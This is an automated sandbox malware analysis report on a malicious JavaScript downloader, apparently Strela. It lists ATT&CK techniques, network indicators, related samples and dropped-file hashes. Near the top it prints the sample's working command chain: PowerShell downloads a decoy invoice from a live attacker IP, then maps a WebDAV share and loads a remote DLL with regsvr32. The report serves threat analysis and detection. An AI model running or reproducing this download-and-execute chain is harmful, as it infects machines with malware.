Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
http://193.143.1.205:8888/k	0%	Avira URL Cloud	safe
http://193.143.1.205/invoice.php	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/w	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	84.201.210.18	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000E.00000003.1341149306.0000027D70A60000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.14.dr, edb.log.14.dr	false		high
http://crl.ver)	svchost.exe, 0000000E.00000002.2580833784.0000027D70C00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.13.dr	false		high
https://www.adobe.co	ReaderMessages.10.dr	false		high
http://193.143.1.205:8888/k	net.exe, 0000000C.00000002.1347492865.000001F361D08000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod1C:	edb.log.14.dr	false		high
http://193.143.1.205:8888/w	net.exe, 0000000C.00000002.1347492865.000001F361D3A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 0000000C.00000002.1347492865.000001F361D64000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1347492865.000001F361D3A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1347492865.000001F361D08000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1347492865.000001F361D35000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587526
Start date and time:	2025-01-10 14:27:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1947415746274847548.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/46@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 162.159.61.3, 172.64.41.3, 3.219.243.226, 52.22.41.97, 52.6.155.20, 3.233.129.217, 2.23.242.162, 23.209.209.135, 199.232.210.172, 2.16.168.105, 2.16.168.107, 23.204.152.210, 23.204.152.213, 13.107.246.45, 54.224.241.105, 96.17.64.171, 20.12.23.50
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, time.windows.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
08:28:08	API Interceptor	21x Sleep call for process: powershell.exe modified
08:28:12	API Interceptor	1x Sleep call for process: net.exe modified
08:28:13	API Interceptor	2x Sleep call for process: svchost.exe modified
08:28:19	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	145332287313130856.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	67073968285385405.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3144522639186114061.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2012713416258531948.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	OTTIMAX RFQ BID1122263.xlsx	Get hash	malicious	Unknown	Browse	84.201.210.39
	gem2.exe	Get hash	malicious	Xmrig	Browse	217.20.57.35
	Appraisal-nation-Review_and_Signature_Request46074.pdf	Get hash	malicious	Unknown	Browse	84.201.210.39
	JB#40044 Order.exe	Get hash	malicious	MassLogger RAT	Browse	217.20.57.25
	82eqjqLrzE.exe	Get hash	malicious	AsyncRAT	Browse	217.20.57.23
	Solara.exe	Get hash	malicious	Unknown	Browse	217.20.57.35
	Sales Acknowledgement - HES #982323.pdf	Get hash	malicious	Unknown	Browse	84.201.210.39
	file_83f986ef2d0592ef993924a8cc5b8d6a_2025-01-07_10_04_01_718000.zip	Get hash	malicious	Unknown	Browse	217.20.57.36
	Setup.exe	Get hash	malicious	LummaC	Browse	217.20.57.18
	Insomia.exe	Get hash	malicious	LummaC	Browse	84.201.210.35
bg.microsoft.map.fastly.net	67073968285385405.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	3144522639186114061.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	random.exe	Get hash	malicious	LummaC Stealer	Browse	199.232.210.172
	2012713416258531948.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	CY SEC AUDIT PLAN 2025.docx.doc	Get hash	malicious	Unknown	Browse	199.232.214.172
	gem2.exe	Get hash	malicious	Xmrig	Browse	199.232.210.172
	1736491685cd440ba02224486139c45779065ac91a3edb422c48d3d3c6920c4d30fc9d2bfc582.dat-decoded.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	199.232.210.172
	gqIYXW7GfB.exe	Get hash	malicious	DCRat	Browse	199.232.214.172
	https://ik.imagekit.io/nrof2h909/Sherman%20Pruitt,%20Chief%20of%20Police,%20MSCJ.pdf?updatedAt=1736444487005	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://marcuso-wq.github.io/home/	Get hash	malicious	HTMLPhisher	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	145332287313130856.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	67073968285385405.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3144522639186114061.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2012713416258531948.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	new.bat	Get hash	malicious	Unknown	Browse	193.143.1.95
	987113922297181060.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	987113922297181060.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	177183177683425839.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	177183177683425839.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	264531187863018088.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.706704649071983
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6Vqq:2JIB/wUKUKQncEmYRTwh0m
MD5:	FBA7A1949FE6AA44E37D8A5704539FC8
SHA1:	F3597B1B159DDB7503481F2AD75E11F77992481E
SHA-256:	D3944947E57343A7FB1BD010DB613822FB47C8BC93219AB47946FEC5390AADF4
SHA-512:	F040737CABBBD39754C7CD4242B6BD9DC237E062655631E38E63FFE3E0FD163D4FBD2C7549F5AC0F729E8F5D15E8A83975006F5C229DD1676DB0CF55E08AC9B3
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x03d049e2, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.790007198201366
Encrypted:	false
SSDEEP:	1536:TSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:TazaPvgurTd42UgSii
MD5:	D45E2DD663B514BF642AAED72B6C78BD
SHA1:	64D4839EFE48D58BCA5F35B97F9F4FADEFE2D39A
SHA-256:	5C700C06FF6FC6493B1D4456E5575BCABD4F8F0D01FCC1215466FF1A518EEE79
SHA-512:	4D46D985EE43073E0610B585DB763AE8487E554AB34D956F2ACAF389881A06E293A98CE7496A82CBB67105CE10BBE112E7E301A55DBFBF0EE3B7FC1E407B401B
Malicious:	false
Preview:	..I.... ...............X\...;...{......................0.`.....42...{5......}A.h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{....................................]......}.....................n.....}...........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08193475823904028
Encrypted:	false
SSDEEP:	3:3IllyYefhGqt/57Dek3JsovRmAllEqW3l/TjzzQ/t:46zfhHR3tiAmd8/
MD5:	B2DAE0ECB13E8CBC46111475BC223E34
SHA1:	E28FCE7EDE3EF53F916C00EB8594C00BF52B5F7C
SHA-256:	5827C090E1F0AEA74C82E8743E6817BFC52A8705064C672EC9044EFF41FC6651
SHA-512:	0C60B343B9391481800D6E98AFB229BED42A49B87F200854CD07A6294B4A2C0E28761BBD50C92F92377BAE21C9295B14F129FA211B474076A8390812F79BF340
Malicious:	false
Preview:	.!......................................;...{.......}..42...{5.........42...{5.42...{5...Y.42...{59...................n.....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.12100455030653
Encrypted:	false
SSDEEP:	6:iO4odVmcTOq2PcNwi2nKuAl9OmbnIFUtSodVmTZmwsodVmJkwOcNwi2nKuAl9Omt:7v1OvLZHAahFUtRQ/7Y54ZHAaSJ
MD5:	4CFF1737D7E69637384FCCDDD57567B1
SHA1:	E6B0B0B905697F98BE6C20389B8FD4DDA7BC2087
SHA-256:	ED10BDB48D127AA94B2FA6377237B53F712D8B11BC22244EA9388CD91C9AB662
SHA-512:	80190AB2BE11B8E22C7EAA758AEC8C22EA08B06460B953BD2E6B048E86D581C97FCE441DC37207FD196B5B2C72E9B164BF94CD30E3A7E19F7FE38964A2B0D149
Malicious:	false
Preview:	2025/01/10-08:28:12.220 1db0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-08:28:12.223 1db0 Recovering log #3.2025/01/10-08:28:12.223 1db0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.12100455030653
Encrypted:	false
SSDEEP:	6:iO4odVmcTOq2PcNwi2nKuAl9OmbnIFUtSodVmTZmwsodVmJkwOcNwi2nKuAl9Omt:7v1OvLZHAahFUtRQ/7Y54ZHAaSJ
MD5:	4CFF1737D7E69637384FCCDDD57567B1
SHA1:	E6B0B0B905697F98BE6C20389B8FD4DDA7BC2087
SHA-256:	ED10BDB48D127AA94B2FA6377237B53F712D8B11BC22244EA9388CD91C9AB662
SHA-512:	80190AB2BE11B8E22C7EAA758AEC8C22EA08B06460B953BD2E6B048E86D581C97FCE441DC37207FD196B5B2C72E9B164BF94CD30E3A7E19F7FE38964A2B0D149
Malicious:	false
Preview:	2025/01/10-08:28:12.220 1db0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-08:28:12.223 1db0 Recovering log #3.2025/01/10-08:28:12.223 1db0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.187436292095699
Encrypted:	false
SSDEEP:	6:iO4odVakQ+q2PcNwi2nKuAl9Ombzo2jMGIFUtSodV+QgZmwsodVg/8SQVkwOcNwy:7vKcvLZHAa8uFUtRy/7Q0F54ZHAa8RJ
MD5:	1AE726D34052A50B02CF441189484A00
SHA1:	37BC917ADEC1EF12DF03960F09A13509353A5A35
SHA-256:	B9FCF931ED91951551B993D3A077437C0FBB77F0F11258E7B2161B9C6D0A5EAA
SHA-512:	F11E54B862B7DFC0855E322F6549AA5CAF4C11165DD5A0AA2F6CBAC5D0AAB19739918E7D0FF7379BDD085CE7CEBA7BDB50F988DD0F370D884420B0F9DF83D82D
Malicious:	false
Preview:	2025/01/10-08:28:12.397 1df8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-08:28:12.399 1df8 Recovering log #3.2025/01/10-08:28:12.400 1df8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.187436292095699
Encrypted:	false
SSDEEP:	6:iO4odVakQ+q2PcNwi2nKuAl9Ombzo2jMGIFUtSodV+QgZmwsodVg/8SQVkwOcNwy:7vKcvLZHAa8uFUtRy/7Q0F54ZHAa8RJ
MD5:	1AE726D34052A50B02CF441189484A00
SHA1:	37BC917ADEC1EF12DF03960F09A13509353A5A35
SHA-256:	B9FCF931ED91951551B993D3A077437C0FBB77F0F11258E7B2161B9C6D0A5EAA
SHA-512:	F11E54B862B7DFC0855E322F6549AA5CAF4C11165DD5A0AA2F6CBAC5D0AAB19739918E7D0FF7379BDD085CE7CEBA7BDB50F988DD0F370D884420B0F9DF83D82D
Malicious:	false
Preview:	2025/01/10-08:28:12.397 1df8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-08:28:12.399 1df8 Recovering log #3.2025/01/10-08:28:12.400 1df8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\4cdadbcb-07b4-4a65-bb40-bdf083dc89c1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.96930632548093
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4TX:Y2sRdsRdMHSOL3QYhbSpDa7n7
MD5:	FBDCC2772AA26D64959F72A60AEED4DF
SHA1:	65DC55AD8E6AF60BDBDD0E6F3BCA306D1B4706A3
SHA-256:	6C648B6773C99F25E60A691E688BE640F52738A14D94F8FADC01AE9E9EF81C05
SHA-512:	036D6EC84050006D1B725801BC5A70C4DAB1CFBFA5DC114D33BF66DA4BA362C4AD22E5DF5742BB5319A01434B5451162030B50828D20A72BB418824F5555D9E1
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8e528c47-86d4-4117-a701-8a02725027d0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.968993094732768
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqzsBdOg2HZfcaq3QYiubSpDyP7E4TX:Y2sRdsJdMHZu3QYhbSpDa7n7
MD5:	E072C7D7B876D158E1C788D70AF62A46
SHA1:	4D68B2AD909B9CC598FB5C620F606F9EFCF75394
SHA-256:	DA50BA866EFC831DE327CDA9E4D3F10ED98EFE99153AC3D15D338A1717D4005D
SHA-512:	29445329343D797814AF5A3E78B4D61E89DFC23EF041F8E9BD900339481AA440D6E0497E60B1BE2B1DB75D9352223059A119D6B5C9F35C1626ECFF7F1BB6F5AE
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381075704047913","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":132937},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.96930632548093
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4TX:Y2sRdsRdMHSOL3QYhbSpDa7n7
MD5:	FBDCC2772AA26D64959F72A60AEED4DF
SHA1:	65DC55AD8E6AF60BDBDD0E6F3BCA306D1B4706A3
SHA-256:	6C648B6773C99F25E60A691E688BE640F52738A14D94F8FADC01AE9E9EF81C05
SHA-512:	036D6EC84050006D1B725801BC5A70C4DAB1CFBFA5DC114D33BF66DA4BA362C4AD22E5DF5742BB5319A01434B5451162030B50828D20A72BB418824F5555D9E1
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF60dee3.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.96930632548093
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4TX:Y2sRdsRdMHSOL3QYhbSpDa7n7
MD5:	FBDCC2772AA26D64959F72A60AEED4DF
SHA1:	65DC55AD8E6AF60BDBDD0E6F3BCA306D1B4706A3
SHA-256:	6C648B6773C99F25E60A691E688BE640F52738A14D94F8FADC01AE9E9EF81C05
SHA-512:	036D6EC84050006D1B725801BC5A70C4DAB1CFBFA5DC114D33BF66DA4BA362C4AD22E5DF5742BB5319A01434B5451162030B50828D20A72BB418824F5555D9E1
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.238347437498802
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtPyaDjMl:CwNw1GHqPySfkcigoO3h28ytPzDjMl
MD5:	422594357346F14BAA0C0E14E494657F
SHA1:	F7764DB9B33EFE77AC0425BF55ADCE53B60AE894
SHA-256:	5DD600FB8120B2943049EF0B7435EB15FA3F0EB9F1197E4526D8497AFDA7092F
SHA-512:	8E0A48C766429F7FB7555514740F68AEC3B0530A7B02AEE9102987DC824D7D5BB3280E0790B9A7391FB1BF2A8AF0968AA0EEA78AD45F5C453A30F6FC70A25442
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.192042797772987
Encrypted:	false
SSDEEP:	6:iO4odVrSuCQ+q2PcNwi2nKuAl9OmbzNMxIFUtSodVrVCVgZmwsodVrVQYDQQVkwY:7vWNvLZHAa8jFUtRt/7yuT54ZHAa84J
MD5:	5A502F89E261B6B9EE0AAD6EFC570E7B
SHA1:	0F38DF5CF504C8DF30A182D4F0AEC53B964B0D83
